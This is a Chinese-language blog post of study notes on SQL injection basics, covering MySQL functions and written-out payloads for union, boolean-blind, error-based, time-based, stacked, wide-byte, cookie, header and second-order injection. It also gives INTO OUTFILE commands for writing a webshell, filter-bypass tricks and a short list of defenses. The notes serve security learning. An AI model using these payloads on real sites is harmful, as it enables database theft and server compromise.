Web基础漏洞-SQL注入基础


SQL注入原理篇

  • 《SQL注入攻击与防御》
  • 《Web安全深度剖析》
  • 仅从部分书本里获取的笔记,更多补充见实战篇

什么是SQL注入?

简介

  1. 将SQL代码添加到输入参数中,产地到服务器解析并执行的一种手法
  2. 注入攻击是输入参数未经过滤,然后直接拼接到SQL语句当中解析,执行达到预想之外的一种行为
  3. 定义:SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数的攻击,之后再将参数传递给后台的SQL服务器加以解析并执行
  4. 解释:应用后台数据库传递SQL查询是,如果为攻击者提供了影响该查询的能力,就会引发SQL注入攻击,攻击者通过影响传递给数据库的内容来修改SQL自身的语法和功能,并且会影响SQL所支持数据库和操作系统的功能和灵活性

理解Web应用的工作原理

  1. 任何语言编写的Web应用,有一点是相同的:都具有交互性并且多半是数据库驱动的。它们通常都包含一个后台数据库和很多Web页面,页面中包含了使用某种编程语言编写的服务器端脚本,脚本则能够根据Web页面与用户的交互从数据库中提取特定的信息。
  2. 数据库驱动的Web应用通常包含三层:表示层(Web浏览器或呈现引擎),逻辑层(如C#、ASP、NET、PHP、JSP等编程语言)和存储层(如Microsoft SQL Sever、MySQL、Oracle等数据库)
    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mDtsfYBp-1588212269318)(https://i.imgur.com/sL5KmSO.png)]
  3. 过程:浏览器发送请求、中间层通过查询、更新数据库来响应请求

注入漏洞分类:数字型和字符型

  1. 数字型(输入的参数是整数)
  • 满足条件
  1. 参数用户可控: 前段传给后端的参数内容是用户可以控制的
  2. 参数代入数据库查询:传入的参数拼接到SQL语句中,且带入数据库查询
假设有URL为http://www.xxser.com/test.php?id=8
猜想有SQL语句
select * from table where id=8
1.末尾加'(单引号)  报错
2.末尾加and 1=1  无差异执行
3.末尾加and 1=2  报错
若满足以上条件则可能存在注入漏洞


  • 该漏洞多出现在asp,php等弱类型语言(自动推导变量类型)
  1. 字符型(输入参数为字符串)
  • 例子
一 select * from table where username = 'admin'
注意:
闭合单引号以及多余注释多余的代码注入方法,如:
输入admin'(闭合)and 1=1 --(注释后面的内容)
二 update person set password='password' where id=1
注入方法:在password处加入'(闭合第一个引号)+(select @@version)+'(闭合第二个引号)
三 Insert into users(username,password,title) values('username','password')

注意 数据库连接符SQL Sever “+”,Oracle “||”,MySQL “空格”

注入方式

  • 直接把插代码插入参数中或将恶意代码插入字符串中
  • 利用方式
  • 查询数据
  • 读写文件
  • 执行命令

常用数据库

SQL Sever

  • 优点:可以准确定位错误消息
  • 利用:可以通过错误信息获得需要的内容
  • 方法
  1. 枚举当前表和列
  2. 利用数据类型错误提取数据

MySQL

  • 环境phpstudy
MySQL部分常用语法
  • 每句话后都要加";"
  1. 连接数据库:mysql_connect
  2. 创建数据库:create database databasename
  3. 删除数据库:drop database dbname
  4. 创建新表:create table mytable(name 数据类型和长度);
  5. 查看数据库/表:show databases/tables
  6. 进入数据库:use tables
  7. 查看表中数据:select * from tbname
  8. 查看某几列数据:select name,name from tbname
  9. 加入数据:insert into tbname(列名,列名) value(‘值’,md5(‘值’))可使用md5加密
  10. 如果要加入多行数据用value(),()
  11. 修改某数据:update tbname set culomn_name=‘修改后内容’ where culomn_name=’’(用来定位的)
  12. 删除某数据:delete from tbname where culomn_name=’’
  13. 删除表:drop table tbname
  14. 删除库:drop database dbname(需要切换到其他数据库才能删除)
MySQL部分常用函数
  1. 系统用户名 system_user()

  2. 用户名 user()

  3. 当前用户名 current_user

  4. 连接数据库的用户名 session_user()

  5. MySQL数据库版本 version()

  6. 转成16进制或者是10进制MySQL读取本地文件的函数 load_file()

  7. 数据库名 database()

  8. 读取数据库路径@@datadir

  9. MySQL安装路径@@basedir

  10. 操作系统@@version_compile_os

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iwIhZacN-1588212269321)(C:\Users\Amire0x\Pictures\SQL\28.png)]

MySQL数据库连接
  • 配置连接信息(一般可能出现在)
  1. config.php
  2. Db_config.php
  3. include/common.inc.php


与MySQL注入相关的知识点
  • 5.0版本后默认在数据库中存放一个"information_schema"数据库,在该库中,记住三个表名
  1. SCHEMATA:存储用户创建的所有数据库的库名,需要记住的字段名为SCHEMA_NAME
  2. TABLES:存储用户创建的所有数据库的库名和表名,需要记住的表名有TABLE_SCHEMA和TABLE_NAME
  3. COLUMNS:存储用户创建的数据库库名,表名和字段名,需要记住TABLE_SCHEMA、TABLE_NAME和COLUMN_NAME
查询语句
  1. 不知道任何条件下:SELECT 要查询的字段名 FROM 库名.表名
  2. 知道一条已知条件时:SELECT 要查询的字段名 FROM 库名.表名 WHERE 已知条件的字段名=‘已知的值’
  3. 知道两条条件:SELECT 字段名 FROM 库名.表名 WHERE 已知条件1的字段名=‘1的值’ AND 已知条件2字段名=‘2的值’
limit用法
  • 格式为limit m,n m记录开始的位置,从0开始表示第一条,n表示取n条记录
需要记住的几个函数
  1. database():当前使用的数据库
  2. version():当前版本
  3. user():当前用户
  4. @@datadir:数据库路径
  5. @@version_compile_os:操作系统版本
  6. concat(str1,str2…):没有分隔符地链接字符串
  7. concat_ws(separator,str1,str2…):含有分隔符
  8. group_caoncat():连接一个组的所有字符串,并以逗号分隔每一条数据
注释符
#   --空格   /**/
- 内联注释:/*!code*/用来执行SQL语句
常见攻击方式(假定id参数都以’闭合)
union注入攻击
1. 判断数字型注入漏洞,若成立则
2. 使用order by 1-99 查询数据表的字段数量
   如order by 3 返回和id=1一样的页面结果,order by 4 返回不一样的结果。则字段数为3
3. 在数据库中查询ID参数对应的内容,然后将数据库的内容输出到页面,由于是将数据输出到页面的,在可以使用union注入
4. 在知道字段数为3的前提下,使用语句union select 1,2,3
   可看到页面成功执行,由于代码只返回第一条结果,所以看不到union所获取的结果
   则将id参数设置为-1,由于数据库中没有id=-1的数据,所以会返回union的结果
5. 看到返回结果的响应页面,假定下面返回的结果为2:3,则说明2或3的位置可以输入MySQL语句
 ---------------------------------------------------
6. 将2改为database(),查询数据库信息,假定数据库名为sql
7. 查询表名:(select table_name from information_schema.tables where table_name='sql' limit 0,1);需要加()
    若要查第二个表名,则修改为limit 1,1 依次类推
8. 当所有表名查询完毕时,开始查询字段名,假定表名为email
    (select column_name from information_schema.columns where table_schema='sql' and table_name='email' limit 0,1);加()
    若要查询第二个字段名,则修改为limit 1,1 依次类推  
----------------------------------------------------
一劳永逸
6. 将2改为group_concat(schema_name),可以爆出所有数据库名
7. 同理,改为group_concat(table_name)from information_schema.tables where table_schema ='***'可查表名
8. 同理,可查字段名
9. 爆内容:select *** from ***

Booolean注入代码
条件:网页不返回错误
该注入是指构造SQL判断语句,通过查看页面的返回结果来推测哪些SQL判断条件是成立的,以此来获得数据库的数据
1 先判断数据库名的长度
' and length(database())>=1--+
单引号闭合,并且注释掉后面的语句,1的数字代表字段长度,可据此来判断
2 接着逐字符判断方式,不分大小写假定第一个字符为s
' and substr(database(),1,1)='s'--+
substr是截取的意思,从第一个字符开始每次只返回一个,该字符与limit有区别,它是以1开始排序
注意哦,这里还可以直接用burp爆破出来
也可已使用ASCII码查询,s的码为115,在MySQL的转换函数为ord
' and ord(substr(database(),1,1))=115--+
然后逐字符的查看,仅修改为2,1,依次类推
3 查询表名,字段名的语句也应该粘贴在database()的位置,也使用逐字符判断法,假定数据库名为sql,第一个表名是email
先查表名长度
' and length((select table_name from information_schema.tables where table_schema='sql' limit 0,1))>=某数字--+
然后再逐字符查
' and substr((select table_name from information_schema.tables where table_schema='sql' limit 0,1),1,1)='e'--+
为提高速度可以用burp
4 查询字段名同理
报错注入
条件:适用于会将报错信息输出到页面的上的网页
报错注入有多种格式,这里假定查user(),使用函数updatexml,0x7e是ASCII码 ~
' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
然后是查当前数据库名
' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
获取数据库名,报错注入只显示一条结果,固采用limit语句
' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+
获取表名,假定获取的数据库名为infoemation_schema
' and updatexml(1,concat(0x7e,(select table_name from infoemation_schema.tables where table_schema='xxx' limit 0,1),0x7e),1)--+
获取字段名,假定表名为email
' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='xxx' and table_name='xxx' )))

时间注入攻击
与boolean注入类似,都属于盲注
原理:利用函数sleep()让MySQL的执行时间变长
具体使用:
1 'and if (length(databsae())>1,sleep(5),1)--+
意思是若数据库名长于1,则查询时间休眠5秒,
否则查询1(大约只有几十毫秒),可根据burp中页面的响应时间来判断条件是否正确
2 查询数据库名的字符
if (substr(database()1,1)='s',sleep(5),1)
3 查询表名和字段名类似
堆叠查询注入
同样和boolean注入类似,属于盲注
堆叠查询可以执行多条语句,多语句之间以分号隔开。
具体使用:
1 ';select if(substr(user()1,1)='x',sleep(5).1)%23
查询数据库库名,表名和字段名
2 ';select if(sustr((select table_name from information_schema.tables where table_schema = 'database()' limit 0,1)1,1)='x',sleep(5),1)%23
3 其余依次类推

宽字节注入
适用于单引号被转义的情况,当数据库编码为GBK时
宽字节的格式是咋地址后先加一个%df,再加单引号,因为反斜杠的编码为%5c,而在GBK编码中%df%5c是繁体的连字,导致成功逃逸单引号
接着按照之前的各种方法继续查询
1 判断注入
id=1%df'and 1=1%23
id=1%df'and 1=2%23
2 查询数据段
id=1%df'order by xx%23假定最终字段数为3
3 查询数据库名
id=1%df'union select 1,database(),3%23
4 查询表名
原语句:select table_name from information_schema.tables where table_name = 'xxx' limit0,1
但是单引号被转义,所以会报错
所以使用嵌套查询
select table_name from information_schema.tables where table_schema =(select database()) limit 0,1
其余表名请修改limit的数字
5 查询字段名 同理
select cloumn_name from information_schema.cloumns where table_schema = (select database()) and table_name = (select table_name from information_schema.tables where table_schema = (select database()) limit 0,1)limit 0,1

cookie注入
适用于cookie中带有类似于id参数
方法是直接burp抓包,然后修改cookie里的值,在cookie里面拼接sql语句,可使用union注入等
base64注入
适用于参数经过了base64编码,
方法就是将需要查询的sql语句编码为base64再代入即可
XFF注入攻击
在HTTP请求头中有X-Forwarded-For代表真实的IP,可以通过修改其值来伪造客户端IP
方法可以吧IP改为127.0.0.1   然后可以使用sql语句进行注入攻击
二次注入攻击
如PHP在开启magic_quotes_gpc后会对特殊字符转义,如把'变为\',
如下列语句
$sql = "insert into message(id,title,content) values (1,'$title','secbug.org')"
现在通过网站插入数据title为secbug'
转义后为secbug\'
但是在数据库中却为secbug'
于是可以通过另一种查询
select id,title,content from message where title='$title'
将第一次插入的title改为' union select 1,@@version 3 --
则又成功注入

SQL注入file导入常用手段

  • 可以直接导入一句话或上传页面 利用函数为into outfile
  • 直接将select内容导入到文件中
Select ***(可以为其他文件,如一句话) into out file "C:\\***\\***"
  • 修改文件结尾
Into outfile "C:\\***\\***\\text.php" lines terminated by 0x16

SQL绕过技术

  • 修改大小写
  • 双写绕过 如(aandnd 1=2)
  • 编码绕过(使用URL全编码,可能要把关键词编码两次)
  • 内联注释

防御

  • 必须明白一个概念:数据库只负责执行SQL语句,根据SQL语句来返回相关数据,它并没有什么好的方法直接过滤SQL注入

严格的数据类型

  • Java,C# 等强类型语言几乎可以完全忽略数字型注入
  • 而PHP,ASP等弱语言,会根据参数类型自动推导出数据类型
URL:http://www.secbug.org/news.jsp?id=1
程序代码:int id = Integer.parseInt(request.getParameter("id");
// 接收参数并转换为int类型
News news = newDao.findNewsById(id);

特殊字符转义

  • 原理:在数据库查询的时候,任何字符串都必须加单引号,则攻击者在字符型注入的时候必然会出现单引号等字符
  • 这时只需要判断字符串是否存在敏感字符,若存在,根据响应数据库进行转义
  • 若不知道需要转义哪些字符则可以参考OWASP ESAPI,它提供了专门对数据库字符转码的借口

过滤危险字符

使用预编译语句

框架技术

存储过程

你可能感兴趣的:(漏洞)